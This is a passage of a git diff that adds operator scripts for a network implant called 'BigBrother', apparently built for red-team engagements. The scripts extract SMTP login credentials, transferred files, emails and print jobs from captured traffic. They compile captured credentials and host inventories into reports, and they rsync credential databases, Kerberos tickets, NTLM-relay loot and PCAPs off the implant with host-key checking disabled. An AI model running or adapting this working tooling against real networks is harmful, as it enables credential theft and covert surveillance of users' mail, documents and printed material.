done + + # Also check port 587 (submission) + streams_587=$(tshark -r "$pcap" -Y "tcp.dstport == 587 && tcp.len > 0" \ + -T fields -e tcp.stream 2>/dev/null | sort -un) + + for stream_id in $streams_587; do + stream_file="$OUTPUT_DIR/raw/smtp_587_stream_${stream_id}.txt" + tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \ + > "$stream_file" 2>/dev/null || true + + [[ -s "$stream_file" ]] || rm -f "$stream_file" + done + + echo "" +done + +# --------------------------------------------------------------------------- +# Parse extracted emails for attachments +# --------------------------------------------------------------------------- + +echo -e "${YELLOW}[*] Scanning for attachments...${NC}" + +for email_file in "$OUTPUT_DIR"/raw/*/*.eml "$OUTPUT_DIR"/raw/*/email_* 2>/dev/null; do + [[ -f "$email_file" ]] || continue + + # Look for MIME boundaries indicating attachments + if grep -qi "Content-Disposition: attachment\|Content-Transfer-Encoding: base64" "$email_file" 2>/dev/null; then + ATTACHMENT_COUNT=$((ATTACHMENT_COUNT + 1)) + filename=$(grep -i "filename=" "$email_file" 2>/dev/null | head -1 | sed 's/.*filename="\?\([^"]*\)"\?.*/\1/' || echo "unknown") + echo -e " Attachment found: ${filename} in $(basename $email_file)" + fi +done + +# --------------------------------------------------------------------------- +# Extract SMTP auth credentials +# --------------------------------------------------------------------------- + +echo -e "${YELLOW}[*] Scanning for SMTP credentials...${NC}" + +cred_file="$OUTPUT_DIR/summary/smtp_credentials.txt" +for stream_file in "$OUTPUT_DIR"/raw/smtp_*.txt; do + [[ -f "$stream_file" ]] || continue + + # Look for AUTH LOGIN or AUTH PLAIN + if grep -q "AUTH LOGIN\|AUTH PLAIN" "$stream_file" 2>/dev/null; then + echo -e " ${GREEN}SMTP auth found in $(basename $stream_file)${NC}" + grep -A 3 "AUTH" "$stream_file" >> "$cred_file" 2>/dev/null || true + echo "---" >> "$cred_file" + fi +done + +# --------------------------------------------------------------------------- +# Summary +# --------------------------------------------------------------------------- + +echo "" +echo -e "${GREEN}[+] Email extraction complete${NC}" +echo -e " Emails found: ${EMAIL_COUNT}" +echo -e " Attachments found: ${ATTACHMENT_COUNT}" +echo "" + +if [[ -f "$OUTPUT_DIR/summary/email_index.txt" ]]; then + echo -e "${CYAN}[*] Email index:${NC}" + head -30 "$OUTPUT_DIR/summary/email_index.txt" | sed 's/^/ /' + total_indexed=$(grep -c "^Stream:" "$OUTPUT_DIR/summary/email_index.txt" 2>/dev/null || echo 0) + if [[ $total_indexed -gt 5 ]]; then + echo -e " ... ($total_indexed total — see $OUTPUT_DIR/summary/email_index.txt)" + fi +fi + +if [[ -f "$cred_file" ]]; then + echo "" + echo -e "${GREEN}[+] SMTP credentials saved to: $cred_file${NC}" + echo -e " (base64 encoded — decode with: echo '' | base64 -d)" +fi diff --git a/scripts/operator/extract_files.sh b/scripts/operator/extract_files.sh new file mode 100755 index 0000000..a8905e1 --- /dev/null +++ b/scripts/operator/extract_files.sh @@ -0,0 +1,134 @@ +#!/usr/bin/env bash +# BigBrother Operator Script — Extract Files from PCAPs +# +# Uses tshark to extract transferred files from PCAP captures. +# Supports HTTP objects, SMB file transfers, FTP data, and TFTP. +# +# Usage: ./extract_files.sh [output_dir] +# +# Examples: +# ./extract_files.sh ./bb-pull-20240115/pcaps +# ./extract_files.sh /opt/cases/acme/pcaps /opt/cases/acme/extracted +# +# Requires: tshark (Wireshark CLI) + +set -euo pipefail + +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +CYAN='\033[0;36m' +NC='\033[0m' + +# --------------------------------------------------------------------------- +# Arguments +# --------------------------------------------------------------------------- + +PCAP_DIR="${1:-}" +OUTPUT_DIR="${2:-$(pwd)/extracted-files-$(date +%Y%m%d-%H%M%S)}" + +if [[ -z "$PCAP_DIR" ]]; then + echo -e "${RED}Usage: $0 [output_dir]${NC}" + exit 1 +fi + +if [[ ! -d "$PCAP_DIR" ]]; then + echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}" + exit 1 +fi + +# Check dependencies +if ! command -v tshark &>/dev/null; then + echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}" + exit 1 +fi + +# Create output structure +mkdir -p "$OUTPUT_DIR"/{http,smb,ftp,tftp,dicom,imf} + +echo -e "${CYAN}[*] BigBrother File Extraction${NC}" +echo -e " PCAP dir: ${PCAP_DIR}" +echo -e " Output: ${OUTPUT_DIR}" +echo "" + +# --------------------------------------------------------------------------- +# Extract files from each PCAP +# --------------------------------------------------------------------------- + +PCAP_COUNT=0 +HTTP_COUNT=0 +SMB_COUNT=0 +FTP_COUNT=0 + +for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do + [[ -f "$pcap" ]] || continue + PCAP_COUNT=$((PCAP_COUNT + 1)) + basename_pcap=$(basename "$pcap") + echo -e "${YELLOW}[*] Processing: ${basename_pcap}${NC}" + + # HTTP objects (downloads, uploads, pages) + echo -e " Extracting HTTP objects..." + http_dir="$OUTPUT_DIR/http/${basename_pcap%.pcap*}" + mkdir -p "$http_dir" + tshark -r "$pcap" --export-objects "http,$http_dir" 2>/dev/null || true + count=$(find "$http_dir" -type f 2>/dev/null | wc -l) + HTTP_COUNT=$((HTTP_COUNT + count)) + echo -e " ${GREEN}Found $count HTTP objects${NC}" + + # SMB file transfers + echo -e " Extracting SMB objects..." + smb_dir="$OUTPUT_DIR/smb/${basename_pcap%.pcap*}" + mkdir -p "$smb_dir" + tshark -r "$pcap" --export-objects "smb,$smb_dir" 2>/dev/null || true + count=$(find "$smb_dir" -type f 2>/dev/null | wc -l) + SMB_COUNT=$((SMB_COUNT + count)) + echo -e " ${GREEN}Found $count SMB objects${NC}" + + # FTP data streams + echo -e " Extracting FTP data..." + ftp_dir="$OUTPUT_DIR/ftp/${basename_pcap%.pcap*}" + mkdir -p "$ftp_dir" + tshark -r "$pcap" --export-objects "ftp-data,$ftp_dir" 2>/dev/null || true + count=$(find "$ftp_dir" -type f 2>/dev/null | wc -l) + FTP_COUNT=$((FTP_COUNT + count)) + echo -e " ${GREEN}Found $count FTP objects${NC}" + + # TFTP transfers + echo -e " Extracting TFTP data..." + tftp_dir="$OUTPUT_DIR/tftp/${basename_pcap%.pcap*}" + mkdir -p "$tftp_dir" + tshark -r "$pcap" --export-objects "tftp,$tftp_dir" 2>/dev/null || true + + # IMF (email) objects + echo -e " Extracting email objects..." + imf_dir="$OUTPUT_DIR/imf/${basename_pcap%.pcap*}" + mkdir -p "$imf_dir" + tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true + + echo "" +done + +# --------------------------------------------------------------------------- +# Summary +# --------------------------------------------------------------------------- + +if [[ $PCAP_COUNT -eq 0 ]]; then + echo -e "${RED}[-] No PCAP files found in $PCAP_DIR${NC}" + exit 1 +fi + +TOTAL=$(find "$OUTPUT_DIR" -type f ! -name "*.md" 2>/dev/null | wc -l) + +echo -e "${GREEN}[+] Extraction complete${NC}" +echo -e " PCAPs processed: ${PCAP_COUNT}" +echo -e " Total files: ${TOTAL}" +echo -e " HTTP objects: ${HTTP_COUNT}" +echo -e " SMB objects: ${SMB_COUNT}" +echo -e " FTP objects: ${FTP_COUNT}" +echo "" +du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /' +echo "" +echo -e "${CYAN}[*] Review extracted files for sensitive data:${NC}" +echo " - Documents: find $OUTPUT_DIR -name '*.doc*' -o -name '*.pdf' -o -name '*.xls*'" +echo " - Config: find $OUTPUT_DIR -name '*.conf' -o -name '*.ini' -o -name '*.xml'" +echo " - Scripts: find $OUTPUT_DIR -name '*.ps1' -o -name '*.bat' -o -name '*.sh'" diff --git a/scripts/operator/extract_print_jobs.sh b/scripts/operator/extract_print_jobs.sh new file mode 100755 index 0000000..3063418 --- /dev/null +++ b/scripts/operator/extract_print_jobs.sh @@ -0,0 +1,152 @@ +#!/usr/bin/env bash +# BigBrother Operator Script — Extract Print Jobs from PCAPs +# +# Reconstructs print jobs from TCP/9100 (JetDirect/RAW) traffic captured +# in PCAPs. Converts PCL/PostScript to PDF using Ghostscript. +# +# Print traffic is often unencrypted and contains sensitive documents: +# HR letters, financial reports, legal docs, network diagrams, etc. +# +# Usage: ./extract_print_jobs.sh [output_dir] +# +# Requires: tshark, ghostscript (gs) + +set -euo pipefail + +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +CYAN='\033[0;36m' +NC='\033[0m' + +# --------------------------------------------------------------------------- +# Arguments +# --------------------------------------------------------------------------- + +PCAP_DIR="${1:-}" +OUTPUT_DIR="${2:-$(pwd)/print-jobs-$(date +%Y%m%d-%H%M%S)}" + +if [[ -z "$PCAP_DIR" ]]; then + echo -e "${RED}Usage: $0 [output_dir]${NC}" + exit 1 +fi + +if [[ ! -d "$PCAP_DIR" ]]; then + echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}" + exit 1 +fi + +# Check dependencies +for tool in tshark gs; do + if ! command -v "$tool" &>/dev/null; then + echo -e "${RED}[-] $tool not found${NC}" + case "$tool" in + tshark) echo " Install with: apt install tshark" ;; + gs) echo " Install with: apt install ghostscript" ;; + esac + exit 1 + fi +done + +mkdir -p "$OUTPUT_DIR"/{raw,pdf,metadata} + +echo -e "${CYAN}[*] BigBrother Print Job Extraction${NC}" +echo -e " PCAP dir: ${PCAP_DIR}" +echo -e " Output: ${OUTPUT_DIR}" +echo "" + +# --------------------------------------------------------------------------- +# Extract print streams from PCAPs +# --------------------------------------------------------------------------- + +JOB_COUNT=0 +PDF_COUNT=0 + +for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do + [[ -f "$pcap" ]] || continue + basename_pcap=$(basename "$pcap") + echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}" + + # Check if this PCAP has any port 9100 traffic + has_print=$(tshark -r "$pcap" -Y "tcp.port == 9100" -c 1 2>/dev/null | wc -l) + if [[ "$has_print" -eq 0 ]]; then + echo -e " (no print traffic)" + continue + fi + + # Extract TCP streams on port 9100 + # Get unique stream indices for print traffic + streams=$(tshark -r "$pcap" -Y "tcp.dstport == 9100 && tcp.len > 0" \ + -T fields -e tcp.stream 2>/dev/null | sort -un) + + for stream_id in $streams; do + JOB_COUNT=$((JOB_COUNT + 1)) + raw_file="$OUTPUT_DIR/raw/job_${JOB_COUNT}_stream${stream_id}.raw" + pdf_file="$OUTPUT_DIR/pdf/job_${JOB_COUNT}_stream${stream_id}.pdf" + meta_file="$OUTPUT_DIR/metadata/job_${JOB_COUNT}.txt" + + # Extract the raw print data from the TCP stream + tshark -r "$pcap" -q -z "follow,tcp,raw,${stream_id}" 2>/dev/null | \ + grep -E '^[0-9a-fA-F]+$' | xxd -r -p > "$raw_file" 2>/dev/null || true + + if [[ ! -s "$raw_file" ]]; then + rm -f "$raw_file" + JOB_COUNT=$((JOB_COUNT - 1)) + continue + fi + + file_size=$(stat -c %s "$raw_file" 2>/dev/null || echo 0) + echo -e " Stream $stream_id: ${file_size} bytes" + + # Record metadata (source/dest IPs, timestamps) + tshark -r "$pcap" -Y "tcp.stream == ${stream_id}" -c 1 \ + -T fields -e ip.src -e ip.dst -e frame.time 2>/dev/null > "$meta_file" || true + echo "Raw file: $raw_file" >> "$meta_file" + echo "Size: $file_size bytes" >> "$meta_file" + + # Detect format and convert to PDF + file_magic=$(head -c 20 "$raw_file" | cat -v 2>/dev/null || echo "") + + if echo "$file_magic" | grep -q "%!PS\|%PDF\|^-E"; then + # PostScript or PDF — convert with Ghostscript + gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \ + "$raw_file" 2>/dev/null && { + PDF_COUNT=$((PDF_COUNT + 1)) + echo -e " ${GREEN}Converted to PDF: $(basename $pdf_file)${NC}" + } || { + echo -e " ${RED}Ghostscript conversion failed${NC}" + } + elif echo "$file_magic" | grep -qi "^.E.*HP\|PCL\|PJL"; then + # PCL/PJL — try Ghostscript PCL interpreter + gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \ + "$raw_file" 2>/dev/null && { + PDF_COUNT=$((PDF_COUNT + 1)) + echo -e " ${GREEN}Converted PCL to PDF: $(basename $pdf_file)${NC}" + } || { + echo -e " ${YELLOW}PCL conversion failed (raw data preserved)${NC}" + } + else + echo -e " ${YELLOW}Unknown format — raw data preserved${NC}" + echo "Format: unknown (magic: $(head -c 10 "$raw_file" | xxd -p 2>/dev/null))" >> "$meta_file" + fi + done +done + +# --------------------------------------------------------------------------- +# Summary +# --------------------------------------------------------------------------- + +echo "" +echo -e "${GREEN}[+] Print job extraction complete${NC}" +echo -e " Print jobs found: ${JOB_COUNT}" +echo -e " Converted to PDF: ${PDF_COUNT}" +echo "" + +if [[ $JOB_COUNT -gt 0 ]]; then + echo -e "${CYAN}[*] Output:${NC}" + echo " Raw data: $OUTPUT_DIR/raw/" + echo " PDFs: $OUTPUT_DIR/pdf/" + echo " Metadata: $OUTPUT_DIR/metadata/" + echo "" + ls -lhS "$OUTPUT_DIR/pdf/" 2>/dev/null | tail -20 | sed 's/^/ /' +fi diff --git a/scripts/operator/generate_report.py b/scripts/operator/generate_report.py new file mode 100755 index 0000000..1b4f908 --- /dev/null +++ b/scripts/operator/generate_report.py @@ -0,0 +1,509 @@ +#!/usr/bin/env python3 +"""BigBrother Operator Script — Generate Engagement Report. + +Pulls data from SQLite databases synced from the implant and generates +a structured engagement report in both Markdown and HTML formats. + +Sections: + 1. Executive Summary + 2. Network Topology & Host Inventory + 3. Captured Credentials + 4. DNS Intelligence + 5. Traffic Analysis + 6. Timeline of Events + 7. Recommendations + +Usage: + python3 generate_report.py [--output ] [--title ] + +Examples: + python3 generate_report.py ./bb-pull-20240115 + python3 generate_report.py ./bb-pull-20240115 --title "ACME Corp Assessment" +""" + +import argparse +import json +import os +import sqlite3 +import sys +import time +from collections import Counter, defaultdict +from datetime import datetime, timezone +from pathlib import Path + + +# --------------------------------------------------------------------------- +# Database helpers +# --------------------------------------------------------------------------- + +def connect_db(db_path): + """Connect to a SQLite database if it exists.""" + if not os.path.isfile(db_path): + return None + try: + conn = sqlite3.connect(db_path) + conn.row_factory = sqlite3.Row + return conn + except Exception: + return None + + +def safe_query(conn, sql, params=None): + """Execute a query, returning empty list on error.""" + if conn is None: + return [] + try: + cursor = conn.execute(sql, params or ()) + return cursor.fetchall() + except Exception: + return [] + + +# --------------------------------------------------------------------------- +# Data collection +# --------------------------------------------------------------------------- + +def collect_credentials(data_dir): + """Collect credentials from credential database and Responder logs.""" + creds = [] + + # From credential DB + conn = connect_db(os.path.join(data_dir, "databases", "credentials.db")) + if conn: + rows = safe_query(conn, """ + SELECT timestamp, source_ip, target_ip, target_service, + username, domain, credential_type, hashcat_mode + FROM credentials + ORDER BY timestamp + """) + for r in rows: + creds.append({ + "timestamp": r["timestamp"], + "source_ip": r["source_ip"] or "", + "target_ip": r["target_ip"] or "", + "service": r["target_service"] or "", + "username": r["username"] or "", + "domain": r["domain"] or "", + "type": r["credential_type"] or "", + "hashcat_mode": r["hashcat_mode"], + }) + conn.close() + + return creds + + +def collect_hosts(data_dir): + """Collect host inventory from state database.""" + hosts = [] + conn = connect_db(os.path.join(data_dir, "databases", "state.db")) + if conn: + rows = safe_query(conn, """ + SELECT key, value FROM kv_store + WHERE module = 'host_discovery' + """) + for r in rows: + try: + host_data = json.loads(r["value"]) + if isinstance(host_data, dict): + hosts.append(host_data) + except (json.JSONDecodeError, TypeError): + pass + conn.close() + + # Also check topology DB + conn = connect_db(os.path.join(data_dir, "databases", "topology.db")) + if conn: + rows = safe_query(conn, """ + SELECT ip, mac, hostname, os, vendor, first_seen, last_seen + FROM hosts + ORDER BY ip + """) + for r in rows: + hosts.append({ + "ip": r["ip"], + "mac": r["mac"] or "", + "hostname": r["hostname"] or "", + "os": r["os"] or "", + "vendor": r["vendor"] or "", + "first_seen": r["first_seen"], + "last_seen": r["last_seen"], + }) + conn.close() + + return hosts + + +def collect_dns_stats(data_dir): + """Collect DNS query statistics.""" + stats = {"total_queries": 0, "top_domains": [], "top_queriers": [], "doh_count": 0} + + conn = connect_db(os.path.join(data_dir, "databases", "dns_queries.db")) + if not conn: + return stats + + # Total queries + rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries") + stats["total_queries"] = rows[0]["cnt"] if rows else 0 + + # DoH detections + rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries WHERE is_doh = 1") + stats["doh_count"] = rows[0]["cnt"] if rows else 0 + + # Top queried domains + rows = safe_query(conn, """ + SELECT domain, COUNT(*) as cnt + FROM dns_queries WHERE is_doh = 0 + GROUP BY domain ORDER BY cnt DESC LIMIT 20 + """) + stats["top_domains"] = [(r["domain"], r["cnt"]) for r in rows] + + # Top querier IPs + rows = safe_query(conn, """ + SELECT source_ip, COUNT(*) as cnt + FROM dns_queries WHERE is_doh = 0 + GROUP BY source_ip ORDER BY cnt DESC LIMIT 15 + """) + stats["top_queriers"] = [(r["source_ip"], r["cnt"]) for r in rows] + + conn.close() + return stats + + +def collect_module_status(data_dir): + """Collect module runtime status.""" + modules = {} + conn = connect_db(os.path.join(data_dir, "databases", "state.db")) + if conn: + rows = safe_query(conn, """ + SELECT module, status, started, updated + FROM module_status + """) + for r in rows: + modules[r["module"]] = { + "status": r["status"], + "started": r["started"], + "updated": r["updated"], + } + conn.close() + return modules + + +# --------------------------------------------------------------------------- +# Report generation +# --------------------------------------------------------------------------- + +def generate_markdown(data_dir, title, creds, hosts, dns_stats, modules): + """Generate Markdown report.""" + now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC") + lines = [] + + def add(text=""): + lines.append(text) + + # Header + add(f"# {title}") + add(f"\n**Generated:** {now}") + add(f"**Data Source:** `{os.path.abspath(data_dir)}`\n") + add("---\n") + + # Executive Summary + add("## 1. Executive Summary\n") + add(f"- **Hosts Discovered:** {len(hosts)}") + add(f"- **Credentials Captured:** {len(creds)}") + + cred_types = Counter(c["type"] for c in creds) + for ctype, count in cred_types.most_common(): + add(f" - {ctype}: {count}") + + unique_users = len(set(c["username"] for c in creds if c["username"])) + add(f"- **Unique Users:** {unique_users}") + add(f"- **DNS Queries Logged:** {dns_stats['total_queries']:,}") + add(f"- **DoH Blind Spots:** {dns_stats['doh_count']}") + add(f"- **Modules Active:** {sum(1 for m in modules.values() if m['status'] == 'running')}") + add("") + + # Host Inventory + add("## 2. Network Topology & Host Inventory\n") + if hosts: + add("| IP | MAC | Hostname | OS | Vendor |") + add("|---|---|---|---|---|") + for h in hosts[:100]: # Cap at 100 for readability + add(f"| {h.get('ip', '')} | {h.get('mac', '')} | {h.get('hostname', '')} " + f"| {h.get('os', '')} | {h.get('vendor', '')} |") + if len(hosts) > 100: + add(f"\n*({len(hosts)} total hosts — showing first 100)*\n") + else: + add("*No host data available.*\n") + + # Credentials + add("\n## 3. Captured Credentials\n") + if creds: + add("| Time | User | Domain | Service | Type |") + add("|---|---|---|---|---|") + for c in creds[:50]: + ts = "" + if c.get("timestamp"): + try: + ts = datetime.fromtimestamp(c["timestamp"], tz=timezone.utc).strftime("%Y-%m-%d %H:%M") + except Exception: + pass + add(f"| {ts} | {c['username']} | {c['domain']} | {c['service']} | {c['type']} |") + if len(creds) > 50: + add(f"\n*({len(creds)} total credentials — showing first 50)*\n") + + add("\n### Credential Summary by Type\n") + for ctype, count in cred_types.most_common(): + add(f"- **{ctype}**: {count}") + + add("\n### Unique Users by Service\n") + service_users = defaultdict(set) + for c in creds: + if c["username"]: + service_users[c["service"]].add(c["username"]) + for svc, users in sorted(service_users.items()): + add(f"- **{svc}**: {', '.join(sorted(users)[:10])}" + + (f" (+{len(users)-10} more)" if len(users) > 10 else "")) + else: + add("*No credentials captured.*\n") + + # DNS Intelligence + add("\n## 4. DNS Intelligence\n") + add(f"- **Total Queries:** {dns_stats['total_queries']:,}") + add(f"- **DoH Detections (blind spots):** {dns_stats['doh_count']}\n") + + if dns_stats["top_domains"]: + add("### Top Queried Domains\n") + add("| Domain | Queries |") + add("|---|---|") + for domain, count in dns_stats["top_domains"]: + add(f"| {domain} | {count:,} |") + + if dns_stats["top_queriers"]: + add("\n### Top DNS Clients\n") + add("| IP | Queries |") + add("|---|---|") + for ip, count in dns_stats["top_queriers"]: + add(f"| {ip} | {count:,} |") + + # Module Status + add("\n## 5. Module Status\n") + if modules: + add("| Module | Status | Started |") + add("|---|---|---|") + for name, info in sorted(modules.items()): + started = "" + if info.get("started"): + try: + started = datetime.fromtimestamp( + info["started"], tz=timezone.utc + ).strftime("%Y-%m-%d %H:%M") + except Exception: + pass + add(f"| {name} | {info['status']} | {started} |") + else: + add("*No module status data available.*\n") + + # Recommendations + add("\n## 6. Recommendations\n") + add("1. **Credential Analysis**: Run `crack_hashes.sh` against captured NTLMv2 hashes") + add("2. **File Extraction**: Run `extract_files.sh` on PCAPs for document recovery") + add("3. **Print Jobs**: Check for print traffic with `extract_print_jobs.sh`") + add("4. **Email Analysis**: Run `extract_emails.sh` for SMTP traffic recovery") + add("5. **Offline Analysis**: Run Zeek against PCAPs for deep protocol analysis") + add("") + + add("---\n") + add(f"*Report generated by BigBrother operator tooling — {now}*") + + return "\n".join(lines) + + +def markdown_to_html(markdown_text, title): + """Convert Markdown report to standalone HTML.""" + # Simple Markdown-to-HTML conversion (no external deps) + html_lines = [] + in_table = False + in_list = False + + html_lines.append(f"""<!DOCTYPE html> +<html lang="en"> +<head> +<meta charset="UTF-8"> +<meta name="viewport" content="width=device-width, initial-scale=1.0"> +<title>{title} + + + +""") + + for line in markdown_text.split("\n"): + stripped = line.strip() + + # Headings + if stripped.startswith("# "): + if in_table: + html_lines.append("") + in_table = False + level = len(stripped) - len(stripped.lstrip("#")) + text = stripped.lstrip("# ").strip() + html_lines.append(f"{_inline_format(text)}") + continue + + # Horizontal rule + if stripped == "---": + if in_table: + html_lines.append("") + in_table = False + html_lines.append("
") + continue + + # Table + if "|" in stripped and stripped.startswith("|"): + cells = [c.strip() for c in stripped.split("|")[1:-1]] + if all(c.replace("-", "").replace(":", "") == "" for c in cells): + continue # Skip separator row + if not in_table: + html_lines.append("") + in_table = True + tag = "th" + else: + tag = "td" + row = "".join(f"<{tag}>{_inline_format(c)}" for c in cells) + html_lines.append(f"{row}") + continue + + if in_table and not stripped.startswith("|"): + html_lines.append("
") + in_table = False + + # List items + if stripped.startswith("- ") or stripped.startswith("* "): + if not in_list: + html_lines.append("
    ") + in_list = True + text = stripped[2:].strip() + html_lines.append(f"
  • {_inline_format(text)}
  • ") + continue + elif stripped.startswith(tuple(f"{i}. " for i in range(1, 20))): + if not in_list: + html_lines.append("
      ") + in_list = True + text = stripped.split(". ", 1)[1] if ". " in stripped else stripped + html_lines.append(f"
    1. {_inline_format(text)}
    2. ") + continue + + if in_list and not stripped.startswith(("-", "*")) and not stripped[:2].rstrip(".").isdigit(): + html_lines.append("
" if in_list else "") + in_list = False + + # Empty line + if not stripped: + continue + + # Paragraph + html_lines.append(f"

{_inline_format(stripped)}

") + + if in_table: + html_lines.append("") + if in_list: + html_lines.append("") + + html_lines.append("") + return "\n".join(html_lines) + + +def _inline_format(text): + """Apply inline Markdown formatting (bold, code, italic).""" + import re + text = re.sub(r"\*\*(.+?)\*\*", r"\1", text) + text = re.sub(r"`(.+?)`", r"\1", text) + text = re.sub(r"\*(.+?)\*", r"\1", text) + return text + + +# --------------------------------------------------------------------------- +# Main +# --------------------------------------------------------------------------- + +def main(): + parser = argparse.ArgumentParser( + description="Generate BigBrother engagement report from synced data." + ) + parser.add_argument("data_dir", help="Path to pulled data directory") + parser.add_argument("--output", "-o", help="Output directory (default: /report)") + parser.add_argument("--title", "-t", default="BigBrother Engagement Report", + help="Report title") + args = parser.parse_args() + + data_dir = args.data_dir + output_dir = args.output or os.path.join(data_dir, "report") + + if not os.path.isdir(data_dir): + print(f"[-] Data directory not found: {data_dir}", file=sys.stderr) + sys.exit(1) + + os.makedirs(output_dir, exist_ok=True) + + print(f"[*] Generating report: {args.title}") + print(f" Data: {os.path.abspath(data_dir)}") + print(f" Output: {os.path.abspath(output_dir)}") + print() + + # Collect data + print("[*] Collecting credentials...") + creds = collect_credentials(data_dir) + print(f" Found {len(creds)} credentials") + + print("[*] Collecting host inventory...") + hosts = collect_hosts(data_dir) + print(f" Found {len(hosts)} hosts") + + print("[*] Collecting DNS statistics...") + dns_stats = collect_dns_stats(data_dir) + print(f" {dns_stats['total_queries']:,} queries logged") + + print("[*] Collecting module status...") + modules = collect_module_status(data_dir) + print(f" {len(modules)} modules tracked") + print() + + # Generate Markdown + print("[*] Generating Markdown report...") + md_report = generate_markdown(data_dir, args.title, creds, hosts, dns_stats, modules) + md_path = os.path.join(output_dir, "report.md") + with open(md_path, "w") as f: + f.write(md_report) + print(f" Saved: {md_path}") + + # Generate HTML + print("[*] Generating HTML report...") + html_report = markdown_to_html(md_report, args.title) + html_path = os.path.join(output_dir, "report.html") + with open(html_path, "w") as f: + f.write(html_report) + print(f" Saved: {html_path}") + + print() + print(f"[+] Report generation complete") + print(f" Markdown: {md_path}") + print(f" HTML: {html_path}") + + +if __name__ == "__main__": + main() diff --git a/scripts/operator/pull_data.sh b/scripts/operator/pull_data.sh new file mode 100755 index 0000000..fd7fd9c --- /dev/null +++ b/scripts/operator/pull_data.sh @@ -0,0 +1,138 @@ +#!/usr/bin/env bash +# BigBrother Operator Script — Pull Data from Implant +# +# Syncs structured data from the implant over WireGuard or Tailscale +# tunnel. Pulls credential DBs, DNS logs, host inventory, PCAPs, and +# all collected intelligence data. +# +# Usage: ./pull_data.sh [output_dir] +# +# Examples: +# ./pull_data.sh bb-implant-01 # Tailscale hostname +# ./pull_data.sh 100.64.0.5 /opt/engagements/acme +# ./pull_data.sh 10.8.0.2 ~/cases/case-001 # WireGuard IP +# +# Requires: rsync, ssh, Tailscale or WireGuard connectivity + +set -euo pipefail + +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +CYAN='\033[0;36m' +NC='\033[0m' + +# --------------------------------------------------------------------------- +# Arguments +# --------------------------------------------------------------------------- + +IMPLANT="${1:-}" +OUTPUT_DIR="${2:-$(pwd)/bb-pull-$(date +%Y%m%d-%H%M%S)}" +SSH_USER="${BB_SSH_USER:-root}" +SSH_KEY="${BB_SSH_KEY:-}" +BB_DATA_DIR="${BB_DATA_DIR:-/root/.bigbrother}" + +if [[ -z "$IMPLANT" ]]; then + echo -e "${RED}Usage: $0 [output_dir]${NC}" + echo "" + echo "Environment variables:" + echo " BB_SSH_USER SSH user (default: root)" + echo " BB_SSH_KEY SSH private key path" + echo " BB_DATA_DIR BigBrother data dir on implant (default: /root/.bigbrother)" + exit 1 +fi + +SSH_OPTS="-o StrictHostKeyChecking=no -o ConnectTimeout=10" +if [[ -n "$SSH_KEY" ]]; then + SSH_OPTS="$SSH_OPTS -i $SSH_KEY" +fi + +# --------------------------------------------------------------------------- +# Pre-flight +# --------------------------------------------------------------------------- + +echo -e "${CYAN}[*] BigBrother Data Pull${NC}" +echo -e " Implant: ${IMPLANT}" +echo -e " Output: ${OUTPUT_DIR}" +echo -e " SSH User: ${SSH_USER}" +echo "" + +# Test connectivity +echo -e "${YELLOW}[*] Testing connectivity...${NC}" +if ! ssh $SSH_OPTS "$SSH_USER@$IMPLANT" "echo ok" &>/dev/null; then + echo -e "${RED}[-] Cannot reach $IMPLANT via SSH${NC}" + exit 1 +fi +echo -e "${GREEN}[+] Connected to $IMPLANT${NC}" + +# Create output directory structure +mkdir -p "$OUTPUT_DIR"/{databases,pcaps,dns_logs,credentials,topology,intel,responder,config,loot} + +# --------------------------------------------------------------------------- +# Pull data +# --------------------------------------------------------------------------- + +RSYNC_OPTS="-avz --progress --compress-level=9" +if [[ -n "$SSH_KEY" ]]; then + RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -i $SSH_KEY -o StrictHostKeyChecking=no'" +else + RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -o StrictHostKeyChecking=no'" +fi + +pull_file() { + local remote_path="$1" + local local_dir="$2" + local description="$3" + + echo -e "${YELLOW}[*] Pulling ${description}...${NC}" + eval rsync $RSYNC_OPTS "$SSH_USER@$IMPLANT:$remote_path" "$local_dir/" 2>/dev/null || \ + echo -e " ${RED}(not found or empty)${NC}" +} + +pull_dir() { + local remote_path="$1" + local local_dir="$2" + local description="$3" + + echo -e "${YELLOW}[*] Pulling ${description}...${NC}" + eval rsync $RSYNC_OPTS -r "$SSH_USER@$IMPLANT:$remote_path/" "$local_dir/" 2>/dev/null || \ + echo -e " ${RED}(not found or empty)${NC}" +} + +# SQLite databases +pull_file "$BB_DATA_DIR/state.db" "$OUTPUT_DIR/databases" "state database" +pull_file "$BB_DATA_DIR/dns_queries.db" "$OUTPUT_DIR/databases" "DNS query database" +pull_file "$BB_DATA_DIR/credentials.db" "$OUTPUT_DIR/databases" "credential database" +pull_file "$BB_DATA_DIR/topology.db" "$OUTPUT_DIR/databases" "topology database" +pull_file "$BB_DATA_DIR/intel.db" "$OUTPUT_DIR/databases" "intelligence database" +pull_file "$BB_DATA_DIR/kerberos.db" "$OUTPUT_DIR/databases" "Kerberos ticket database" + +# PCAPs +pull_dir "$BB_DATA_DIR/pcaps" "$OUTPUT_DIR/pcaps" "PCAP files" + +# Credential data +pull_dir "/opt/tools/Responder/logs" "$OUTPUT_DIR/responder" "Responder logs" +pull_dir "$BB_DATA_DIR/ntlmrelay_loot" "$OUTPUT_DIR/loot" "NTLM relay loot" +pull_file "$BB_DATA_DIR/mitmproxy_flows" "$OUTPUT_DIR/loot/" "mitmproxy flows" + +# Intelligence data +pull_dir "$BB_DATA_DIR/topology" 